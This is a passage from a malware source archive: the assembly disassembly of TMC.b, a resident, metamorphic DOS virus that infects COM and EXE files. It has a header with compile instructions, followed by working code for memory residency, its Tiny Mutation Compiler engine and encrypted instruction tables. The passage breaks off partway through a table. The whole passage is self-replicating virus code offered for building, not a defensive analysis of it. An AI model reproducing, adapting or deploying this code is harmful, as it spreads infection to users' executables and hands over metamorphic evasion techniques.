MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.tmc_b.asm
2021-01-12 18:01:59 -06:00

4285 lines
174 KiB
NASM

comment *
TMC.b ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Super/29A and Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
TMC.b is a 4780 bytes resident appending COM and EXE virus. Infects at load
and/or execute program, rename file and open file. TMC.b has an error
handler, retro structures and is metamorphic in file and memory using Tiny
Mutation Compiler v 1.00 [TMC].
To compile TMC.b with Turbo Assembler v 5.0 type:
TASM /M TMC_B.ASM
TLINK /x TMC_B.OBJ
EXE2BIN TMC_B.EXE TMC_B.COM
*
.model tiny
.code
code_begin:
mov bp,100h ; BP = delta offset
cld ; Clear direction flag
mov ax,ds ; AX = segment of PSP for current ...
mov [bp+program_seg],ax ; Store segment of PSP for current...
dec ax ; AX = segment of current Memory C...
mov ds,ax ; DS = segment of current Memory C...
mov ax,ds:[03h] ; AX = size of memory block in par...
cmp ax,1900h ; Insufficient memory?
jae resize_mem ; Above or equal? Jump to resize_mem
jmp terminate
resize_mem:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov [bp+mcb_size_],ax ; Store size of memory block in p...
mov bx,[bp+new_mcb_size]
mov ah,4ah ; Resize memory block
int 21h
jnc allocate_mem ; No error? Jump to allocate_mem
jmp terminate
allocate_mem:
mov ah,48h ; Allocate memory
mov bx,[bp+mcb_size_] ; BX = size of memory block in par...
sub bx,[bp+new_mcb_size]
dec bx ; BX = number of paragraphs to all...
cmp bx,0c00h ; Insufficient memory?
jae allocat_mem ; Above or equal? Jump to allocat_...
jmp terminate
allocat_mem:
int 21h
jnc initiali_tmc ; No error? Jump to initiali_tmc
jmp terminate
initiali_tmc:
mov es,ax ; ES = segment of allocated memory
mov es:[01h],0deadh ; Store 16-bit random number
mov word ptr es:[0ch],00h
mov es:[04h],1000h ; Store offset of block information
mov es:[06h],2000h ; Store offset of CALL; JMP; Jcc i...
mov es:[08h],3000h ; Store offset of data information
lea si,[bp+tmc_table] ; SI = offset of tmc_table
push si ; Save SI at stack
mov bx,4000h ; BX = offset of next virus genera...
jmp initial_tmc
initial_tmc:
mov di,10h ; DI = offset of table of blocks
xor ax,ax ; Zero AX
jmp tmc_ini_loop
tmc_ini_loop:
add si,ax ; SI = offset of block or instruct...
call decrypt_byte
or al,al ; End of table?
jz calc_blocks ; Zero? Jump to calc_blocks
nop
nop
nop
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
jae exam_block ; Above or equal? Jump to exam_block
nop
nop
nop
cmp al,10h ; Data?
jbe tmc_ini_loop ; Below or equal? Jump to tmc_ini_...
nop
nop
nop
sub al,10h ; AL = length of data
jmp tmc_ini_loop
exam_block:
cmp al,11101111b ; End of block?
jne exam_block_ ; Not equal? Jump to exam_block_
nop
nop
nop
mov al,00h ; Don't add anything to offset wit...
jmp tmc_ini_loop
exam_block_:
cmp al,11101110b ; Beginning of block?
jne next_byte ; Not equal? Jump to next_byte
nop
nop
nop
mov ax,si ; AX = offset of block identification
dec ax ; AX = offset of block within table
stosw ; Store offset of block within table
mov ax,0ffffh ; Block is still in one part
stosw ; Store block identification
mov ax,02h ; Add two to offset within table
jmp tmc_ini_loop
next_byte:
mov al,02h ; Add two to offset within table
jmp tmc_ini_loop
calc_blocks:
lea ax,[di-10h] ; AX = number of blocks multiplied...
shr ax,01h ; Divide number of blocks by two
shr ax,01h ; Divide number of blocks by two
mov es:[0ah],ax ; Store number of blocks
xor ax,ax ; End of table
stosw ; Store end of table
mov di,10h ; DI = offset of table of blocks
mov si,es:[di] ; SI = offset of block within table
jmp exam_bloc
split_block:
push bp ; Save BP at stack
mov bp,es:[0ah] ; BP = number of blocks
call rnd_in_range
pop bp ; Load BP from stack
shl ax,01h ; Multiply random number with two
shl ax,01h ; Multiply random number with two
add ax,10h ; Add ten to random number
mov di,ax ; DI = random offset within table
jmp exam_nxt_blo
exam_nxt_blo:
add di,04h ; DI = offset of next offset withi...
mov si,es:[di] ; SI = offset of next block within...
or si,si ; End of table?
jnz exam_block__ ; Not zero? Jump to exam_block__
nop
nop
nop
mov di,10h ; DI = offset of table of blocks
mov si,es:[di] ; SI = offset of block within table
jmp exam_block__
exam_block__:
push ax ; Save AX at stack
call decrypt_byte
dec si ; Decrease offset of block within ...
cmp al,11101111b ; End of block?
pop ax ; Load AX from stack
jne exam_bloc ; Not equal? Jump to exam_bloc
nop
nop
nop
cmp di,ax ; End of table of blocks?
jne exam_nxt_blo ; Not equal? Jump to exam_nxt_blo
nop
nop
nop
jmp exam_tbl_inf
exam_bloc:
mov ax,es:[di+02h] ; AX = block information
cmp ax,0ffffh ; Block is still in one part?
je exam_bloc_ ; Equal? Jump to exam_bloc_
nop
nop
nop
push di ; Save DI at stack
mov di,ax ; DI = offset of end of first part...
mov al,11101001b ; JMP imm16 (opcode 0e9h)
stosb ; Store JMP imm16
mov ax,bx ; AX = offset within next virus ge...
dec ax ; Decrease offset within next viru...
dec ax ; Decrease offset within next viru...
sub ax,di ; Subtract offset of end of first ...
stosw ; Store 16-bit immediate
pop di ; Load DI from stack
jmp exam_bloc_
exam_bloc_:
call decrypt_byte
cmp al,11101111b ; End of block?
jne exam_bloc__ ; Not equal? Jump to exam_bloc__
jmp end_of_block
exam_bloc__:
cmp al,10h ; Data; CALL; JMP; Data reference...?
ja exam_bloc___ ; Above? Jump to exam_bloc___
nop
nop
nop
push ax bp ; Save registers at stack
mov bp,[bp+probability] ; BP = probability
call rnd_in_range
or ax,ax ; Split up block?
pop bp ax ; Load registers from stack
jz split_block ; Zero? Jump to split_block_
nop
nop
nop
jmp exam_bloc___
exam_bloc___:
cmp al,11101111b ; End of block?
jne exam_blo ; Not equal? Jump to exam_blo
jmp end_of_block
exam_blo:
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
jae exam_data ; Above or equal? Jump to exam_data
nop
nop
nop
cmp al,10h ; Data?
jbe sto_instruct ; Below or equal? Jump to sto_inst...
nop
nop
nop
sub al,10h ; AL = length of data
jmp sto_instruct
sto_instruct:
xor cx,cx ; Zero CX
mov cl,al ; CL = length of instruction
push di ; Save DI at stack
mov di,bx ; DI = offset within next virus ge...
jmp sto_ins_loop
sto_ins_loop:
call decrypt_byte
stosb ; Store byte of instruction
dec cx ; Decrease counter
jnz sto_ins_loop ; Not zero? Jump to sto_ins_loop
nop
nop
nop
mov bx,di ; BX = offset within next virus ge...
pop di ; Load DI from stack
jmp exam_bloc_
exam_data:
cmp al,11101101b ; Data reference?
jne exam_blo_ ; Not equal? Jump to exam_blo_
nop
nop
nop
push di ; Save DI at stack
mov di,es:[08h] ; DI = offset within data information
mov ax,bx ; AX = offset within next virus ge...
dec ax ; Decrease offset within next viru...
dec ax ; Decrease offset within next viru...
stosw ; Store offset within next virus g...
call decrypt_id
stosw ; Store block identification
mov es:[08h],di ; Store offset within data informa...
pop di ; Load DI from stack
jmp exam_bloc_
exam_blo_:
cmp al,11101110b ; Beginning of block?
jne sto_call_jmp ; Not equal? Jump to sto_call_jmp
nop
nop
nop
push di ; Save DI at stack
mov di,es:[04h] ; DI = offset within block informa...
mov ax,bx ; AX = offset within next virus ge...
stosw ; Store offset within next virus ge...
call decrypt_id
stosw ; Store block identification
mov es:[04h],di ; Store offset within block inform...
cmp ax,4c5h ; Block identification of tmc_table?
jne exam_message ; Not equal? Jump to exam_message
nop
nop
nop
push si ; Save SI at stack
mov di,bx ; DI = offset within next virus ge...
lea si,[bp+tmc_table] ; SI = offset of tmc_table
mov cx,(table_end-table_begin)
rep movsb ; Move table to top of memory
mov bx,di ; BX = offset within next virus ge...
pop si ; Load SI from stack
jmp examine_next
exam_message:
cmp ax,2328h ; Block identification of message?
jne exam_probabi ; Not equal? Jump to exam_probabi
nop
nop
nop
mov ax,14h ; Probability of including message
cmp [bp+probability],ax ; Include message?
jae examine_next ; Above or equal? Jump to examine_...
nop
nop
nop
call decrypt_byte
sub al,10h ; AL = length of message
mov ah,00h ; Zero AH
add si,ax ; SI = offset of end of message
jmp examine_next
exam_probabi:
cmp ax,0bech ; Block identification of probabi...?
jne examine_next ; Not equal? Jump to examine_next
nop
nop
nop
mov ax,[bp+probability] ; AX = probability
dec ax ; Decrease probability
cmp ax,05h ; Probability too small?
jae store_probab ; Above or equal? Jump to store_pr...
nop
nop
nop
mov ax,64h ; Reset probability
jmp store_probab
store_probab:
mov es:[bx],ax ; Store probability
add bx,02h ; Add two to offset within next vi...
add si,03h ; SI = offset of beginning of next...
jmp examine_next
examine_next:
pop di ; Load DI from stack
call decrypt_byte
jmp exam_bloc___
sto_call_jmp:
push ax di ; Save registers at stack
mov di,es:[06h] ; DI = offset within CALL; JMP; Jc...
mov ax,bx ; AX = offset within next virus ge...
stosw ; Store offset within next virus g...
call decrypt_id
stosw ; Store block identification
mov es:[06h],di ; Store offset within CALL; JMP; J...
pop di ax ; Load registers from stack
mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc...
add bx,03h ; Add three to offset within next ...
cmp al,11110000b ; Jump condition?
jae jcc_imm8 ; Above or equal? Jump to jcc_imm8
jmp exam_bloc_
jcc_imm8:
inc bx ; Increase offset within next viru...
inc bx ; Increase offset within next viru...
jmp exam_bloc_
split_block_:
mov es:[di+02h],bx ; Store offset within next virus g...
add bx,03h ; Add three to offset within next ...
jmp end_of_block
end_of_block:
dec si ; Decrease offset of block within ...
mov es:[di],si ; Store offset of block within table
jmp split_block
exam_tbl_inf:
cmp word ptr es:[0ch],00h
jne correct_i16 ; End of second table? Jump to cor...
nop
nop
nop
pop si ; Load SI from stack
mov es:[0ch],bx ; Store offset within next virus g...
add si,(second_table-first_table)
jmp initial_tmc
correct_i16:
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
sub bx,4000h ; Subtract offset of next virus ge...
mov ds:[0eh],bx ; Store length of virus
mov si,2000h ; SI = offset of CALL; JMP; Jcc im...
mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;...
sub cx,si ; Subtract offset of CALL; JMP; Jc...
shr cx,01h ; Divide number of CALL imm16; JMP...
shr cx,01h ; Divide number of CALL imm16; JMP...
jmp jmp_call_loo
jmp_call_loo:
lodsw ; AX = offset of block within data...
push ax ; Save AX at stack
lodsw ; AX = offset of block within data...
push cx si ; Save registers at stack
mov si,1000h ; SI = offset of block information
mov cx,ds:[04h] ; CX = offset of end of block info...
sub cx,si ; Subtract offset of block informa...
shr cx,01h ; Divide number of block by two
shr cx,01h ; Divide number of block by two
jmp find_block
find_block:
cmp ax,[si+02h] ; Found block?
je found_block ; Equal? Jump to found_block
nop
nop
nop
add si,04h ; SI = offset of next block in table
dec cx ; Decrease counter
jnz find_block ; Not zero? Jump to find_block
nop
nop
nop
found_block:
mov dx,[si] ; DX = offset of block
pop si cx ; Load registers from stack
pop bx ; Load BX from stack (AX)
mov al,[bx] ; AL = first byte of instruction
cmp al,11110000b ; Jump condition?
jb sto_call_jm ; Below? Jump to sto_call_jm
nop
nop
nop
sub byte ptr [bx],10000000b
inc bx ; BX = offset of 8-bit immediate
push dx ; Save DX at stack
sub dx,bx ; Subtract offset within next viru...
dec dx ; Decrease 8-bit immediate
cmp dx,7fh ; 8-bit immediate out of range?
jg invert_jcc ; Greater? Jump to invert_jcc
nop
nop
nop
cmp dx,0ff80h ; 8-bit immediate out of range?
jl invert_jcc ; Less? Jump to invert_jcc
nop
nop
nop
mov [bx],dl ; Store 8-bit immediate
inc bx ; BX = offset of end of Jcc imm8
mov [bx],1001000010010000b
mov byte ptr [bx+02h],10010000b
pop dx ; Load DX from stack
jmp correct_i16_
invert_jcc:
pop dx ; Load DX from stack
dec bx ; BX = offset of Jcc imm8
xor byte ptr [bx],00000001b
inc bx ; BX = offset of 8-bit immediate
mov byte ptr [bx],03h ; Store 8-bit immediate
inc bx ; BX = offset of JMP imm16
mov al,11101001b ; JMP imm16 (opcode 0e9h)
jmp sto_call_jm
sto_call_jm:
mov [bx],al ; Store CALL imm16; JMP imm16
inc bx ; BX = offset of 16-bit immediate
sub dx,bx ; Subtract offset within next viru...
dec dx ; Decrease 16-bit immediate
dec dx ; Decrease 16-bit immediate
mov [bx],dx ; Store 16-bit immediate
jmp correct_i16_
correct_i16_:
dec cx ; Decrease counter
jnz jmp_call_loo ; Not zero? Jump to jmp_call_loo
nop
nop
nop
mov si,3000h ; SI = offset of data information
mov cx,ds:[08h] ; CX = offset of end of data infor...
sub cx,si ; Subtract offset of data informat...
shr cx,01h ; Divide number of data references...
shr cx,01h ; Divide number of data references...
jmp data_ref_loo
data_ref_loo:
lodsw ; AX = offset of block within data...
push ax ; Save AX at stack
lodsw ; AX = offset of block within data...
push cx si ; Save registers at stack
mov si,1000h ; SI = offset of block information
mov cx,ds:[04h] ; CX = offset of end of block info...
sub cx,si ; Subtract offset of block informa...
shr cx,01h ; Divide number of block by two
shr cx,01h ; Divide number of block by two
jmp find_block_
find_block_:
cmp ax,[si+02h] ; Found block?
je found_block_ ; Equal? Jump to found_block_
nop
nop
nop
add si,04h ; SI = offset of next block in table
dec cx ; Decrease counter
jnz find_block_ ; Not zero? Jump to find_block_
nop
nop
nop
found_block_:
mov ax,[si] ; AX = offset of block
pop si cx ; Load registers from stack
pop bx ; Load BX from stack (AX)
sub ax,4000h ; Subtract offset of next virus ge...
mov [bx],ax ; Store 16-bit immediate
dec cx ; Decrease counter
jnz data_ref_loo ; Not zero? Jump to data_ref_loo
nop
nop
nop
jmp restore_code
restore_code:
mov ax,[bp+program_seg] ; AX = segment of PSP for current ...
mov cx,[bp+initial_ss] ; CX = initial SS relative to star...
add cx,10h ; Add ten to initial SS relative t...
add cx,ax ; Add segment of PSP for current p...
push cx ; Save CX at stack
push [bp+initial_sp] ; Save initial SP at stack
mov cx,[bp+initial_cs] ; CX = initial CS relative to star...
add cx,10h ; Add ten to initial CS relative t...
add cx,ax ; Add segment of PSP for current p...
push cx ; Save CX at stack
push [bp+initial_ip] ; Save initial IP at stack
push ax ; Save segment of PSP for current ...
push [bp+mcb_size] ; Save size of memory block in par...
push ds ; Save DS at stack
mov cl,00h ; COM executable
cmp [bp+executa_stat],cl
jne move_virus ; COM executable? Jump to move_virus
nop
nop
nop
lea si,[bp+origin_code] ; SI = offset of origin_code
mov ax,cs:[si] ; AX = first two bytes of original...
mov cs:[100h],ax ; Store first two bytes of origina...
mov al,cs:[si+02h] ; AL = last byte of original code ...
mov cs:[100h+02h],al ; Store last byte of original code...
jmp move_virus
mov ax,[bp+program_seg] ; AX = segment of PSP for current ...
mov cx,[bp+initial_ss] ; CX = initial SS relative to star...
add cx,10h ; Add ten to initial SS relative t...
add cx,ax ; Add segment of PSP for current p...
push cx ; Save CX at stack
push [bp+initial_sp] ; Save initial SP at stack
mov cx,[bp+initial_cs] ; CX = initial CS relative to star...
add cx,10h ; Add ten to initial CS relative t...
add cx,ax ; Add segment of PSP for current p...
push cx ; Save CX at stack
push [bp+incorrect_ip] ; Save incorrect IP at stack
push ax ; Save segment of PSP for current ...
push [bp+mcb_size] ; Save size of memory block in par...
push ds ; Save DS at stack
mov cl,00h ; COM executable
cmp [bp+executa_stat],cl
jne move_virus ; COM executable? Jump to move_virus
nop
nop
nop
lea si,[bp+origin_code] ; SI = offset of origin_code
mov ax,cs:[si] ; AX = first two bytes of original...
mov cs:[100h],ax ; Store first two bytes of origina...
mov al,cs:[si+02h] ; AL = last byte of original code ...
mov cs:[100h+02h],al ; Store last byte of original code...
jmp move_virus
move_virus:
xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of DOS communicatio...
cmp byte ptr ds:[501h],10h
jne move_virus_ ; Already resident? Jump to move_v...
jmp virus_exit
move_virus_:
mov byte ptr ds:[501h],10h
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov ax,ds:[0ch] ; AX = offset within next virus ge...
sub ax,4000h ; Subtract offset of next virus ge...
mov [bp+vir_exit_off],ax
mov cx,ds:[0eh] ; CX = length of virus
mov [bp+virus_length],cx
mov si,4000h ; SI = offset of next virus genera...
xor di,di ; Zero DI
rep movsb ; Move virus to top of memory
mov cl,04h ; Divide by paragraphs
shr di,cl ; DI = length of next virus genera...
inc di ; Increase length of next virus ge...
mov bx,[bp+mcb_size_] ; BX = size of memory block in par...
sub bx,[bp+new_mcb_size]
sub bx,di ; Subtract length of next virus ge...
dec bx ; Decrease new size in paragraphs
dec bx ; Decrease new size in paragraphs
cmp bx,di ; Insufficient memory?
jae resize_mem_ ; Above or equal? Jump to resize_mem_
jmp virus_exit
resize_mem_:
mov ah,4ah ; Resize memory block
int 21h
jnc allocat_mem_ ; No error? Jump to allocat_mem_
jmp virus_exit
allocat_mem_:
mov bx,di ; BX = number of paragraphs to all...
mov ah,48h ; Allocate memory
int 21h
jc virus_exit ; Error? Jump to virus_exit
nop
nop
nop
push ax ; Save AX at stack
dec ax ; AX = segment of current Memory C...
mov es,ax ; ES = segment of current Memory C...
mov word ptr es:[01h],08h
pop es ; Load ES from stack (AX)
mov cx,[bp+virus_length]
xor si,si ; Zero SI
xor di,di ; Zero DI
rep movsb ; Move virus to top of memory
push es ; Save ES at stack
push word ptr [bp+vir_exit_off]
mov al,[bp+crypt_key] ; AL = 8-bit encryption/decryption...
mov ah,byte ptr [bp+sliding_key]
retf ; Return far
terminate:
mov ax,4c00h ; Terminate with return code
int 21h
get_rnd_num proc near ; Get 16-bit random number
push cx ; Save CX at stack
in al,40h ; AL = 8-bit random number
mov ah,al ; AH = 8-bit random number
in al,40h ; AL = 8-bit random number
xor ax,es:[01h] ; AX = 16-bit random number
mov cl,ah ; CL = high-order byte of 16-bit r...
rol ax,cl ; AX = 16-bit random number
mov es:[01h],ax ; Store 16-bit random number
pop cx ; Load CX from stack
ret ; Return
endp
rnd_in_range proc near ; Random number within range
or bp,bp ; Zero BP?
jz zero_range ; Zero? Jump to zero_range
nop
nop
nop
push dx ; Save DX at stack
call get_rnd_num
xor dx,dx ; Zero DX
div bp ; DX = random number within range
xchg ax,dx ; AX = random number within range
pop dx ; Load DX from stack
ret ; Return
zero_range:
xor ax,ax ; AX = random number within range
ret ; Return
endp
decrypt_byte proc near ; Decrypt byte of table
mov [bp+ah_],ah ; Store AH
mov ax,si ; AX = offset within table
sub ax,bp ; Subtract delta offset from offse...
sub ax,offset tmc_table ; Subtract offset of tmc_table fro...
mul word ptr [bp+sliding_key]
add al,[bp+crypt_key] ; AL = 8-bit encryption/decryption...
xor al,[si] ; AL = byte of decrypted table
mov ah,[bp+ah_] ; AH = stored AH
inc si ; Increase offset within table
ret ; Return
endp
decrypt_id proc near ; Decrypt block identification in ...
call decrypt_byte
mov ah,al ; AL = byte of decrypted table
call decrypt_byte
xchg al,ah ; AL = byte of decrypted table
ret ; Return
endp
virus_exit:
pop es ; Load ES from stack
mov ah,49h ; Free memory
int 21h
pop bx ; Load BX from stack
pop ax ; Load AX from stack
mov ds,ax ; DS = segment of PSP for current ...
mov es,ax ; DS = segment of PSP for current ...
mov ah,4ah ; Resize memory block
int 21h
lea bx,[bp+jmp_imm32] ; BX = offset of jmp_imm32
pop ax ; Load AX from stack (initial IP)
mov cs:[bx+01h],ax ; Store initial IP
pop ax ; Load AX from stack (initial CS ...)
mov cs:[bx+03h],ax ; Store initial CS relative to sta...
pop ax ; Load AX from stack (initial SP)
pop ss ; Load SS from stack (initial SS ...)
mov sp,ax ; SP = stack pointer
jmp jmp_imm32
jmp_imm32 equ $ ; Offset of JMP imm32 (opcode 0eah)
db 11101010b ; JMP imm32 (opcode 0eah)
dd 00h ; Pointer to virus in top of memory
ah_ db 00h ; Accumulator register (high-orde...)
probability dw 32h ; Probability
crypt_key db 00h ; 8-bit encryption/decryption key
sliding_key dw 00h ; 8-bit sliding encryption/decrypt...
executa_stat db 00h ; Executable status
origin_code db 11000011b,02h dup(00h)
initial_cs dw 0fff0h ; Initial CS relative to start of ...
initial_ss dw 0fff0h ; Initial SS relative to start of ...
initial_ip dw 100h ; Initial IP
incorrect_ip dw 100h ; Incorrect IP
initial_sp dw 0fffeh ; Initial SP
new_mcb_size dw 1000h ; New size in paragraphs
mcb_size dw 0ffffh ; Size of memory block in paragraphs
mcb_size_ dw 00h ; Size of memory block in paragraphs
program_seg dw 00h ; Segment of PSP for current process
virus_length dw 00h ; Length of virus
vir_exit_off dw 00h ; Offset of virus_exit
table_begin:
first_table:
tmc_table db 11101111b ; End of block
db 11101110b ; Beginning of block
dw 00h ; Block identification of tmc_table
db 03h ; Three bytes instruction
mov bp,1234h ; BP = delta offset
db 01h ; One byte instruction
cld ; Clear direction flag
db 02h ; Two bytes instruction
mov ax,ds ; AX = segment of PSP for current ...
db 04h ; Four bytes instruction
mov [bp+1234h],ax ; Store segment of PSP for current...
db 11101101b ; Data reference
dw 0befh ; Pointer to program_seg_
db 01h ; One byte instruction
dec ax ; AX = segment of current Memory C...
db 02h ; Two bytes instruction
mov ds,ax ; DS = segment of current Memory C...
db 03h ; Three bytes instruction
mov ax,ds:[03h] ; AX = size of memory block in par...
db 03h ; Three bytes instruction
cmp ax,1900h ; Insufficient memory?
db 01110010b+10000000b ; Below? Jump to terminate_
dw 0beeh ; Pointer to terminate_
db 01h ; One byte instruction
push cs ; Save CS at stack
db 01h ; One byte instruction
pop ds ; Load DS from stack (CS)
db 04h ; Four bytes instruction
mov [bp+1234h],ax ; Store size of memory block in p...
db 11101101b ; Data reference
dw 1394h ; Pointer to mcb_size___
db 04h ; Four bytes instruction
mov bx,[bp+1234h] ; BX = new size in paragraphs
db 11101101b ; Data reference
dw 1393h ; Pointer to new_mcb_siz
db 02h ; Two bytes instruction
mov ah,4ah ; Resize memory block
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to terminate_
dw 0beeh ; Pointer to terminate_
db 02h ; Two bytes instruction
mov ah,48h ; Allocate memory
db 04h ; Four bytes instruction
mov bx,[bp+1234h] ; BX = size of memory block in par...
db 11101101b ; Data reference
dw 1394h ; Pointer to mcb_size___
db 04h ; Four bytes instruction
sub bx,[bp+1234h] ; Subtract new size in paragraphs ...
db 11101101b ; Data reference
dw 1393h ; Pointer to new_mcb_siz
db 01h ; One byte instruction
dec bx ; BX = number of paragraphs to all...
db 04h ; Four bytes instruction
cmp bx,0c00h ; Insufficient memory?
db 01110010b+10000000b ; Below? Jump to terminate_
dw 0beeh ; Pointer to terminate_
db 02h ; Two bytes instruction
int 21h
db 01110010b+10000000b ; Error? Jump to terminate_
dw 0beeh ; Pointer to terminate_
db 02h ; Two bytes instruction
mov es,ax ; ES = segment of allocated memory
db 07h ; Seven bytes instruction
mov es:[01h],0deadh ; Store 16-bit random number
db 07h ; Seven bytes instruction
mov word ptr es:[0ch],00h
db 07h ; Seven bytes instruction
mov es:[04h],1000h ; Store offset of block information
db 07h ; Seven bytes instruction
mov es:[06h],2000h ; Store offset of CALL; JMP; Jcc i...
db 07h ; Seven bytes instruction
mov es:[08h],3000h ; Store offset of data information
db 04h ; Four bytes instruction
lea si,[bp+1234h] ; SI = offset of tmc_table_
db 11101101b ; Data reference
dw 4c5h ; Pointer to tmc_table_
db 01h ; One byte instruction
push si ; Save SI at stack
db 03h ; Three bytes instruction
mov bx,4000h ; BX = offset of next virus genera...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0fa0h ; Pointer to initial_tmc
db 11101111b ; End of block
initial_tmc_ db 11101110b ; Beginning of block
dw 0fa0h ; Block identification of initial_tmc_
db 03h ; Three bytes instruction
mov di,10h ; DI = offset of table of blocks
db 02h ; Two bytes instruction
xor ax,ax ; Zero AX
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bb8h ; Pointer to tmc_ini_loo
db 11101111b ; End of block
tmc_ini_loo db 11101110b ; Beginning of block
dw 0bb8h ; Block identification of tmc_ini_...
db 02h ; Two bytes instruction
add si,ax ; SI = offset of block or instruct...
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 02h ; Two bytes instruction
or al,al ; End of table?
db 01110100b+10000000b ; Zero? Jump to calc_blocks_
dw 0bbch ; Pointer to calc_blocks_
db 02h ; Two bytes instruction
cmp al,11101000b ; CALL; JMP; Data reference; Jcc?
db 01110011b+10000000b ; Above or equal? Jump to exam_blo__
dw 0bb9h ; Pointer to exam_blo__
db 02h ; Two bytes instruction
cmp al,10h ; Data?
db 01110110b+10000000b ; Below or equal? Jump to tmc_ini_...
dw 0bb8h ; Pointer to tmc_ini_loo
db 02h ; Two bytes instruction
sub al,10h ; AL = length of data
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bb8h ; Pointer to tmc_ini_loo
db 11101111b ; End of block
exam_blo__ db 11101110b ; Beginning of block
dw 0bb9h ; Block identification of exam_blo__
db 02h ; Two bytes instruction
cmp al,11101111b ; End of block?
db 01110101b+10000000b ; Not equal? Jump to exam_blo___
dw 0bbah ; Pointer to exam_blo___
db 02h ; Two bytes instruction
mov al,00h ; Don't add anything to offset wit...
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bb8h ; Pointer to tmc_ini_loo
db 11101111b ; End of block
exam_blo___ db 11101110b ; Beginning of block
dw 0bbah ; Block identification of exam_blo___
db 02h ; Two bytes instruction
cmp al,11101110b ; Beginning of block?
db 01110101b+10000000b ; Not equal? Jump to next_byte_
dw 0bbbh ; Pointer to next_byte_
db 02h ; Two bytes instruction
mov ax,si ; AX = offset of block identification
db 01h ; One byte instruction
dec ax ; AX = offset of block within table
db 01h ; One byte instruction
stosw ; Store offset of block within table
db 03h ; Three bytes instruction
mov ax,0ffffh ; Block is still in one part
db 01h ; One byte instruction
stosw ; Store block identification
db 03h ; Three bytes instruction
mov ax,02h ; Add two to offset within table
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bb8h ; Pointer to tmc_ini_loo
db 11101111b ; End of block
next_byte_ db 11101110b ; Beginning of block
dw 0bbbh ; Block identification of next_byte_
db 02h ; Two bytes instruction
mov al,02h ; Add two to offset within table
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bb8h ; Pointer to tmc_ini_loo
db 11101111b ; End of block
calc_blocks_ db 11101110b ; Beginning of block
dw 0bbch ; Block identification of calc_blo...
db 03h ; Three bytes instruction
lea ax,[di-10h] ; AX = number of blocks multiplied...
db 02h ; Two bytes instruction
shr ax,01h ; Divide number of blocks by two
db 02h ; Two bytes instruction
shr ax,01h ; Divide number of blocks by two
db 04h ; Four bytes instruction
mov es:[0ah],ax ; Store number of blocks
db 02h ; Two bytes instruction
xor ax,ax ; End of table
db 01h ; One byte instruction
stosw ; Store end of table
db 03h ; Three bytes instruction
mov di,10h ; DI = offset of table of blocks
db 03h ; Three bytes instruction
mov si,es:[di] ; SI = offset of block within table
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bc0h ; Pointer to exam_bl
db 11101111b ; End of block
split_bloc db 11101110b ; Beginning of block
dw 0bbdh ; Block identification of split_bloc
db 01h ; One byte instruction
push bp ; Save BP at stack
db 05h ; Five bytes instruction
mov bp,es:[0ah] ; BP = number of blocks
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0bd5h ; Pointer to rnd_in_rang
db 01h ; One byte instruction
pop bp ; Load BP from stack
db 02h ; Two bytes instruction
shl ax,01h ; Multiply random number with two
db 02h ; Two bytes instruction
shl ax,01h ; Multiply random number with two
db 03h ; Three bytes instruction
add ax,10h ; Add ten to random number
db 02h ; Two bytes instruction
mov di,ax ; DI = random offset within table
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bbeh ; Pointer to exam_nxt_bl_
db 11101111b ; End of block
exam_nxt_bl_ db 11101110b ; Beginning of block
dw 0bbeh ; Block identification of exam_nxt...
db 03h ; Three bytes instruction
add di,04h ; DI = offset of next offset withi...
db 03h ; Three bytes instruction
mov si,es:[di] ; SI = offset of next block within...
db 02h ; Two bytes instruction
or si,si ; End of table?
db 01110101b+10000000b ; Not zero? Jump to exam_blo____
dw 0bbfh ; Pointer to exam_blo____
db 03h ; Three bytes instruction
mov di,10h ; DI = offset of table of blocks
db 03h ; Three bytes instruction
mov si,es:[di] ; SI = offset of block within table
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bbfh ; Pointer to exam_blo____
db 11101111b ; End of block
exam_blo____ db 11101110b ; Beginning of block
dw 0bbfh ; Block identification of exam_blo...
db 01h ; One byte instruction
push ax ; Save AX at stack
db 11101000b ; CALL imm16 (opcode 0e8h)
dw 0be0h ; Pointer to decrypt_byt
db 01h ; One byte instruction
dec si ; Decrease offset of block within ...
db 02h ; Two bytes instruction
cmp al,11101111b ; End of block?
db 01h ; One byte instruction
pop ax ; Load AX from stack
db 01110101b+10000000b ; Not equal? Jump to exam_bl
dw 0bc0h ; Pointer to exam_bl
db 02h ; Two bytes instruction
cmp di,ax ; End of table of blocks?
db 01110101b+10000000b ; Not equal? Jump to exam_nxt_bl_
dw 0bbeh ; Pointer to exam_nxt_bl_
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0bcah ; Pointer to exam_tbl_in
db 11101111b ; End of block
exam_bl db 11101110b ; Beginning of block
dw 0bc0h ; Block identification of exam_bl
db 04h ; Four bytes instruction
mov ax,es:[di+02h] ; AX = block information
db 03h ; Three bytes instruction
cmp ax,0ffffh ; Block is still in one part?
db 01110100b+10000000b ; Equal? Jump to exam_bl_
dw 0bc1h ; Pointer to exam_bl_
